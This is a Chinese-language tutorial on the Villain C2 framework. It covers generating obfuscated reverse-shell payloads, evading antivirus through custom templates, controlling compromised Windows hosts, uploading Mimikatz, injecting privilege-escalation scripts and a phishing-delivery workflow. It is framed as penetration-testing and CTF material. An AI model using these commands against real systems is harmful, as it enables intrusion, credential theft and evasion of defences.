作者 : t3l3machus (Panagiotis Chartas)
GitHub : https://github.com/t3l3machus/Villain
适用场景 : 渗透测试 / 红队评估 / CTF竞赛
开发平台: Kali Linux (Python 3.6+)
文章目录
-
- 一、项目概述
- 二、核心架构与设计理念
-
- [2.1 架构组成](#2.1 架构组成)
- [2.2 两种 Shell 类型对比](#2.2 两种 Shell 类型对比)
- [2.3 设计哲学](#2.3 设计哲学)
- 三、安装与部署
-
- [3.1 系统要求](#3.1 系统要求)
- [3.2 安装方式](#3.2 安装方式)
-
- [方式一:通过 Kali 官方仓库安装(推荐)](#方式一:通过 Kali 官方仓库安装(推荐))
- 方式二:手动克隆安装(获取最新版)
- [3.3 启动框架](#3.3 启动框架)
- 四、服务架构详解
-
- [4.1 Team Server (端口 6501)](#4.1 Team Server (端口 6501))
- [4.2 Reverse TCP Multi-Handler (端口 4443)](#4.2 Reverse TCP Multi-Handler (端口 4443))
- [4.3 HoaxShell Multi-Handler (端口 8080)](#4.3 HoaxShell Multi-Handler (端口 8080))
- [4.4 HTTP File Smuggler (端口 8888)](#4.4 HTTP File Smuggler (端口 8888))
- [五、Payload 生成与模板系统](#五、Payload 生成与模板系统)
-
- [5.1 模板系统架构](#5.1 模板系统架构)
- [5.2 生成 Payload](#5.2 生成 Payload)
- [5.3 模板自定义与 AV 规避](#5.3 模板自定义与 AV 规避)
- [5.4 查看模板信息](#5.4 查看模板信息)
- [六、Shell 会话管理](#六、Shell 会话管理)
-
- [6.1 查看活跃会话](#6.1 查看活跃会话)
- [6.2 进入交互式伪 Shell](#6.2 进入交互式伪 Shell)
- [6.3 会话别名管理](#6.3 会话别名管理)
- [6.4 修复会话信息](#6.4 修复会话信息)
- 七、高级功能实战
-
- [7.1 文件上传 (upload)](#7.1 文件上传 (upload))
- [7.2 无文件脚本注入 (inject)](#7.2 无文件脚本注入 (inject))
- [7.3 一键升级完全交互式 Shell (conptyshell)](#7.3 一键升级完全交互式 Shell (conptyshell))
- [7.4 会话持久化 (flee)](#7.4 会话持久化 (flee))
- 八、团队协作模式
-
- [8.1 连接 Sibling Server](#8.1 连接 Sibling Server)
- [8.2 Sibling Server 通信加密](#8.2 Sibling Server 通信加密)
- [8.3 团队聊天](#8.3 团队聊天)
- [8.4 会话共享原理](#8.4 会话共享原理)
- [九、安全防护与 Session Defender](#九、安全防护与 Session Defender)
-
- [9.1 Session Defender (cmdinspector)](#9.1 Session Defender (cmdinspector))
- [9.2 PowerShell stderr 保护](#9.2 PowerShell stderr 保护)
- [9.3 其他安全建议](#9.3 其他安全建议)
- 十、实战工作流示例
-
- 场景:内网渗透测试
-
- [Step 1: 启动 Villain](#Step 1: 启动 Villain)
- [Step 2: 生成 Windows Payload](#Step 2: 生成 Windows Payload)
- [Step 3: 投递 Payload](#Step 3: 投递 Payload)
- [Step 4: 接管 Shell](#Step 4: 接管 Shell)
- [Step 5: 上传工具](#Step 5: 上传工具)
- [Step 6: 执行权限提升脚本](#Step 6: 执行权限提升脚本)
- [Step 7: 升级完全交互式 Shell](#Step 7: 升级完全交互式 Shell)
- [Step 8: 团队协作](#Step 8: 团队协作)
- 十一、注意事项与法律声明
-
- [⚠️ 法律声明](#⚠️ 法律声明)
- [⚠️ 技术限制](#⚠️ 技术限制)
- [⚠️ 安全提示](#⚠️ 安全提示)
- 结语
一、项目概述
Villain 是一款由希腊渗透测试研究员 t3l3machus 开发的高级 Stage 0/1 C2(Command and Control)框架。它的诞生源于对现有反向 Shell 管理工具的不满------传统反向 Shell 往往不稳定、缺少 stderr 回显、容易因输入错误而挂起。Villain 的核心使命是:让常见的反向 Shell 变得可靠、功能丰富且易于协作管理 。[4]
与传统重量级 C2 框架(如 Cobalt Strike、Metasploit)不同,Villain 走的是"轻量、快速、协作"路线。它能在数秒内完成安装部署,支持多用户实时协作,并且原生集成多种 Shell 增强功能,无需额外配置复杂的基础设施。
主要特性一览
| 特性 | 说明 |
|---|---|
| 多协议支持 | 同时管理 Reverse TCP 和 HoaxShell(HTTP/HTTPS)两种反向 Shell |
| Payload模板系统 | 基于可自定义模板生成 Windows/Linux Payload,支持编码/混淆 |
| 动态伪Shell | 快速切换多个会话,无需重新连接 |
| 文件上传 | 通过 HTTP 文件走私器(File Smuggler)上传文件到目标 |
| 无文件执行 | 通过 HTTP 请求直接注入并执行本地脚本 |
| ConPtyShell集成 | 一键将 PowerShell 反向 Shell 升级为完全交互式 Windows Shell |
| 多人协作 | 多个 Villain 实例可互联,共享 Shell 会话 |
| Session Defender | 智能检测危险命令,防止 Shell 意外挂起 |
| 团队聊天 | 通过 # 前缀向所有连接的 Sibling Server 广播消息 |
二、核心架构与设计理念
2.1 架构组成
Villain 启动时会同时初始化 四个核心服务,构成完整的 C2 基础设施:
[0.0.0.0:6501] :: Team Server (核心控制服务器)
[0.0.0.0:4443] :: Reverse TCP Multi-Handler (TCP反向Shell处理器)
[0.0.0.0:8080] :: HoaxShell Multi-Handler (HTTP反向Shell处理器)
[0.0.0.0:8888] :: HTTP File Smuggler (文件传输服务)
这种"四服务一体"的设计使得 Villain 无需额外配置 Nginx、Apache 或其他中间件即可独立完成 Payload 投递、Shell 接管、文件传输和团队通信。
2.2 两种 Shell 类型对比
Villain 支持两种截然不同的反向 Shell 机制:
| 维度 | Reverse TCP | HoaxShell |
|---|---|---|
| 协议 | TCP 原生套接字 | HTTP/HTTPS 协议 |
| 稳定性 | ⭐⭐⭐⭐⭐ 极高 | ⭐⭐⭐ 中等 |
| 隐蔽性 | 较低(易被防火墙拦截) | 较高(伪装正常HTTP流量) |
| 持久性 | 连接断开即失效 | 信标机制,支持自动重连 |
| Payload复用 | 可重复使用 | 一次性使用(已用Payload无法再次建立会话) |
| 适用场景 | 内网渗透、稳定控制 | 绕过防火墙、外网渗透 |
建议 : 在稳定性要求高的场景下优先使用 Reverse TCP;在需要绕过网络限制时使用 HoaxShell。[18]
2.3 设计哲学
t3l3machus 在接受 Help Net Security 采访时阐述了 Villain 的设计初衷:
"主要想法是创建一个超快速的多处理器,用于处理 CTF 和渗透测试中最常见的反向 Shell 类型,比如 PayloadAllTheThings、revshells.com 或 msfvenom 生成的 TCP 反向 Shell。传统反向 Shell 往往不可靠,缺少 stderr 回显,或者在执行某些命令/出现拼写错误时挂起。Villain 通过各种技术稳定这些常见 Shell。"[4]
三、安装与部署
3.1 系统要求
- 操作系统: Kali Linux(强烈推荐,已集成到官方仓库)
- Python: 3.6 或更高版本
- 权限: 需要 root 权限运行
- 依赖 :
gnome-terminal(用于 ConPtyShell 功能)
3.2 安装方式
方式一:通过 Kali 官方仓库安装(推荐)
bash
sudo apt update
sudo apt install villain
⚠️ 注意:Kali 仓库中的版本可能不是最新版,新功能发布到仓库需要一定时间。
方式二:手动克隆安装(获取最新版)
bash
# 克隆仓库
git clone https://github.com/t3l3machus/Villain
cd ./Villain
# 安装 Python 依赖
pip3 install -r requirements.txt
# 安装 gnome-terminal(必须)
sudo apt update && sudo apt install gnome-terminal
3.3 启动框架
bash
sudo ./Villain.py
或者使用命令行参数自定义端口:
bash
sudo ./Villain.py -p 6501 -x 8080 -n 4443 -f 8888
参数说明:
-p: Team Server 端口(默认 6501)-x: HoaxShell 处理器端口(默认 8080)-n: Reverse TCP 处理器端口(默认 4443)-f: HTTP File Smuggler 端口(默认 8888)-i: 交互模式-c/-k: SSL 证书和密钥文件(用于 HTTPS HoaxShell)
四、服务架构详解
启动后,Villain 的命令行界面会显示如下信息:
┬ ┬ ┬ ┬ ┬ ┌─┐ ┬ ┌┐┌
└┐┌┘ │ │ │ ├─┤ │ │││
└┘ ┴ ┴─┘┴─┘┴ ┴ ┴ ┘└┘
Unleashed
[Meta] Created by t3l3machus
[Meta] Follow on GitHub, X, YT: @t3l3machus
[Info] Initializing required services:
[0.0.0.0:6501]::Team Server
[0.0.0.0:4443]::Reverse TCP Multi-Handler
[0.0.0.0:8080]::HoaxShell Multi-Handler
[0.0.0.0:8888]::HTTP File Smuggler
[Info] Welcome! Type "help" to list available commands.
Villain >
4.1 Team Server (端口 6501)
Team Server 是 Villain 的"大脑",负责:
- 维护所有活跃的 Shell 会话元数据
- 管理 Sibling Server 之间的连接和通信
- 处理命令路由和会话切换
- 存储 Payload 模板和生成的植入物信息
4.2 Reverse TCP Multi-Handler (端口 4443)
专门处理基于 TCP 套接字的反向 Shell 连接。这是 Villain 中最稳定、最可靠的 Shell 类型,适合需要长期维持控制的场景。
4.3 HoaxShell Multi-Handler (端口 8080)
处理基于 HTTP/HTTPS 协议的反向 Shell。HoaxShell 是 t3l3machus 的另一款工具演化而来,利用 HTTP 协议建立类似信标的反向 Shell,能更好地绕过防火墙和代理限制。
重要 : 要接收 HoaxShell HTTPS 反向 Shell,启动 Villain 时必须提供 SSL 证书(
-c和-k参数)。
4.4 HTTP File Smuggler (端口 8888)
独立的文件传输服务,用于:
upload命令:将本地文件传输到目标机器inject命令:无文件执行本地脚本- 为 Sibling Server 之间的文件共享提供支持
五、Payload 生成与模板系统
5.1 模板系统架构
Villain 的 Payload 生成器基于模板文件工作,模板位于:
Core/payload_templates/<OS>/<HANDLER>/
目录结构示例:
payload_templates/
├── windows/
│ ├── reverse_tcp/
│ │ ├── powershell.py
│ │ └── cmd.py
│ └── hoaxshell/
│ └── powershell.py
└── linux/
├── reverse_tcp/
│ ├── bash.py
│ └── python.py
└── hoaxshell/
└── sh_curl.py
5.2 生成 Payload
使用 generate 命令生成反向 Shell Payload:
bash
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0
命令格式:
generate payload=<OS_TYPE/HANDLER/PAYLOAD_TEMPLATE> lhost=<IP或网卡> [obfuscate] [encode]
常用示例
bash
# Windows PowerShell Reverse TCP,使用 eth0 IP
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0
# 同上,但添加编码混淆
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0 encode
# Linux HoaxShell,使用 curl
Villain > generate payload=linux/hoaxshell/sh_curl lhost=eth0 obfuscate
# 使用具体 IP 地址
Villain > generate payload=windows/reverse_tcp/powershell lhost=192.168.1.100
5.3 模板自定义与 AV 规避
这是 Villain 最强大的功能之一。你可以:
- 编辑默认模板 :修改
Core/payload_templates/下的文件,添加混淆逻辑 - 创建新模板:按照标准结构编写自己的 Payload 模板
- 替换默认模板:用你自己的混淆版本替换默认模板,打造个性化的 Villain 实例
强烈建议 : 默认模板很容易被杀毒软件检测。在实际渗透测试中,务必创建自己的混淆模板 替换默认模板。参考视频教程:如何创建混淆反向 Shell 模板[18]
5.4 查看模板信息
bash
# 查看特定模板的详细信息
Villain > generate payload=windows/reverse_tcp/powershell
六、Shell 会话管理
6.1 查看活跃会话
bash
# 查看所有反向 Shell 会话
Villain > sessions
# 查看所有后门类型
Villain > backdoors
# 查看 Villain 相关运行服务信息
Villain > sockets
sessions 输出示例:
Session ID IP Address Shell Listener Stability Status
----------------------------------------------------------------------------------------
45d70c-70d264-ea47 192.168.0.69 powershell.exe netcat Stable Active
6.2 进入交互式伪 Shell
bash
Villain > shell 45d70c-70d264-ea47
# 或使用别名
Villain > shell target1
Interactive pseudo-shell activated.
Press Ctrl + C or type "exit" to deactivate.
PS C:\Users\pxpart> whoami
desktop-abc123\pxpart
在伪 Shell 中,你可以执行目标系统的任意命令。按 Ctrl + C 或输入 exit 返回 Villain 主提示符。
6.3 会话别名管理
bash
# 为会话设置别名(方便记忆)
Villain > alias 45d70c-70d264-ea47 target1
# 重置别名回默认 ID
Villain > reset target1
# 终止会话
Villain > kill target1
6.4 修复会话信息
如果 Villain 未能正确识别目标的主机名/用户名,可以手动修复:
bash
Villain > repair 45d70c-70d264-ea47
七、高级功能实战
7.1 文件上传 (upload)
在伪 Shell 中,使用 upload 命令将本地文件传输到目标:
bash
PS C:\Users\pxpart> upload /home/kali/tools/mimikatz.exe C:\Windows\Temp\m.exe
格式:upload <本地文件路径> <远程文件路径>
文件通过 HTTP File Smuggler(端口 8888)自动传输,无需额外配置。即使会话属于 Sibling Server,文件上传也能正常工作。
7.2 无文件脚本注入 (inject)
在伪 Shell 中直接执行本地脚本,无需先将文件写入磁盘:
bash
PS C:\Users\pxpart> inject /home/kali/scripts/Invoke-Mimikatz.ps1
注意 : 注入的脚本类型必须匹配 Shell 会话类型。例如,PowerShell 脚本只能注入到
powershell.exe会话中。
7.3 一键升级完全交互式 Shell (conptyshell)
这是 Villain 的杀手级功能!对于 PowerShell 反向 Shell,可以一键升级为完全交互式的 Windows Shell(类似 SSH 的体验):
bash
Villain > conptyshell eth0 4444 45d70c-70d264-ea47
执行后:
- 自动弹出新的 gnome-terminal 窗口,运行 netcat 监听
- 在目标上作为新进程执行 Invoke-ConPtyShell.ps1
- 获得完全交互式 Shell(支持 Tab 补全、vim、top 等)
- 原始后门仍然保留,不会中断!
要求 : 必须安装
gnome-terminal,且目前仅支持powershell.exe后门。
7.4 会话持久化 (flee)
bash
Villain > flee
flee 命令允许你安全退出 Villain 而不终止任何活跃会话 。下次启动 Villain 时,如果受害者机器仍在发送 HoaxShell 信标,会话将自动重新建立。
Villain 会自动将生成的植入物信息和会话元数据保存到磁盘,每次启动时加载到内存中。使用 purge 命令可以清除这些存储的元数据:
bash
Villain > purge
八、团队协作模式
8.1 连接 Sibling Server
Villain 的"多人模式"是其区别于其他 C2 框架的独特优势。你可以将多个 Villain 实例连接在一起,共享 Shell 会话:
bash
# 连接到另一台运行 Villain 的机器
Villain > connect 192.168.1.50 6501
默认 Team Server 端口是 6501(可通过 -p 参数修改)。
8.2 Sibling Server 通信加密
Sibling Server 之间的通信使用 AES 加密:
- 密钥: 接收方 Sibling Server 的 ID
- IV: 本地服务器 ID 的前 16 个字节
⚠️ 安全提示 : 初始握手时,双方的 ID 以明文交换。虽然这存在被截获的风险,但对于渗透测试/红队场景已经足够。[13]
8.3 团队聊天
任何以 # 开头的命令会被视为消息,广播到所有连接的 Sibling Server:
bash
Villain > # 大家注意,目标192.168.1.100已拿下,shell在sessions里
这创造了一个简单的团队通信渠道,无需额外的聊天工具。
8.4 会话共享原理
连接后,每个 Villain 实例既是客户端也是服务器。你可以:
- 查看所有 Sibling 的活跃会话
- 通过任意 Sibling 的 Shell 会话执行命令
- 使用任意 Sibling 作为加密代理转发流量
正如 t3l3machus 所说:
"很少有 C2 框架能在数秒内安装完成,并提供让用户通过简单命令即时互联的界面。基本上,Villain 同时充当客户端和服务器。"[4]
九、安全防护与 Session Defender
9.1 Session Defender (cmdinspector)
传统反向 Shell 最大的痛点之一是容易因输入错误而挂起。例如:
- 未闭合的单引号/双引号
- 未闭合的反引号
- 启动交互式子 Shell(如
python、vim、ssh) - 危险的特殊字符组合
Villain 的 Session Defender 功能会自动检查用户输入的命令,检测可能导致 Shell 挂起的输入:
bash
# 开启 Session Defender
Villain > cmdinspector on
# 关闭
Villain > cmdinspector off
9.2 PowerShell stderr 保护
对于 PowerShell 反向 Shell,Villain 会自动将用户命令包装在 try-catch 脚本块中,确保标准错误(stderr)能够正确返回给用户,而不是静默失败。
9.3 其他安全建议
| 建议 | 说明 |
|---|---|
| 自定义模板 | 始终使用混淆后的 Payload 模板替代默认模板 |
| SSL加密 | 生产环境使用 HTTPS HoaxShell(-c 和 -k 参数) |
| 端口伪装 | 将监听端口改为常见端口(如 443、8080)降低可疑度 |
| 定期清理 | 使用 purge 清除不再需要的会话元数据 |
十、实战工作流示例
场景:内网渗透测试
Step 1: 启动 Villain
bash
sudo ./Villain.py -n 443 -f 80
Step 2: 生成 Windows Payload
bash
Villain > generate payload=windows/reverse_tcp/powershell lhost=eth0 encode
Generating backdoor payload...
Start-Process $PSHOME\powershell.exe -ArgumentList {...} -WindowStyle Hidden
Copied to clipboard!
Payload 已自动复制到剪贴板。
Step 3: 投递 Payload
通过钓鱼邮件、Web 漏洞或社工手段将 Payload 投递到目标 Windows 机器执行。
Step 4: 接管 Shell
bash
[Shell] Backdoor session established on 192.168.0.69
Villain > sessions
Session ID IP Address Shell Listener Stability Status
45d70c-70d264-ea47 192.168.0.69 powershell.exe netcat Stable Active
Villain > alias 45d70c-70d264-ea47 win-web01
Villain > shell win-web01
Step 5: 上传工具
bash
PS C:\Users\pxpart> upload /home/kali/tools/winPEAS.exe C:\Temp\winpeas.exe
Step 6: 执行权限提升脚本
bash
PS C:\Users\pxpart> inject /home/kali/scripts/PowerUp.ps1
Step 7: 升级完全交互式 Shell
bash
# 回到主提示符
PS C:\Users\pxpart> exit
Villain > conptyshell eth0 4444 win-web01
新终端弹出,获得完全交互式 PowerShell。
Step 8: 团队协作
bash
# 连接队友的 Villain 实例
Villain > connect 192.168.1.50 6501
# 通知团队
Villain > # win-web01 已拿下,权限:普通用户,正在提权
十一、注意事项与法律声明
⚠️ 法律声明
使用此工具攻击未获得明确授权的主机是非法的。您需对使用此工具造成的任何后果负责。
⚠️ 技术限制
- HoaxShell Payload 一次性 : 已使用的 HoaxShell Payload 无法再次建立会话(设计如此)[13]
- Sibling 直连要求 : 互联的 Villain 实例必须能够直接相互访问(暂不支持代理跳转)[13]
- ConPtyShell 限制 : 目前仅支持
powershell.exe后门 - 开发中项目 : 项目处于积极开发中,新版本可能包含破坏性变更[18]
⚠️ 安全提示
- 始终创建自己的混淆模板以应对 AV 检测
- Sibling Server 握手阶段 ID 明文传输,注意网络环境安全
- 建议在隔离的测试环境中充分熟悉工具后再用于实战
结语
Villain 代表了新一代轻量级 C2 框架的发展方向:快速部署、功能丰富、团队协作。它填补了传统重量级框架(如 Cobalt Strike)和简单反向 Shell 处理器之间的空白,特别适合:
- CTF 竞赛: 快速生成 Payload,管理多个靶机 Shell
- 渗透测试: 轻量级 C2 基础设施,快速建立控制通道
- 红队评估: 多人协作,会话共享,提升团队效率
- 安全研究: 学习 C2 框架原理,研究 AV 规避技术
相关资源
- GitHub 仓库: https://github.com/t3l3machus/Villain
- HoaxShell(前身项目): https://github.com/t3l3machus/hoaxshell
- John Hammond 评测视频: https://youtube.com/watch?v=pTUggbSCqA0
- v2.0 发布演示: https://youtube.com/watch?v=NqZEmBsLCvQ
- 混淆模板教程: https://youtube.com/watch?v=grSBdZdUya0
- t3l3machus 访谈: https://pentest-tools.com/blog/we-think-we-know-panagiotis-chartas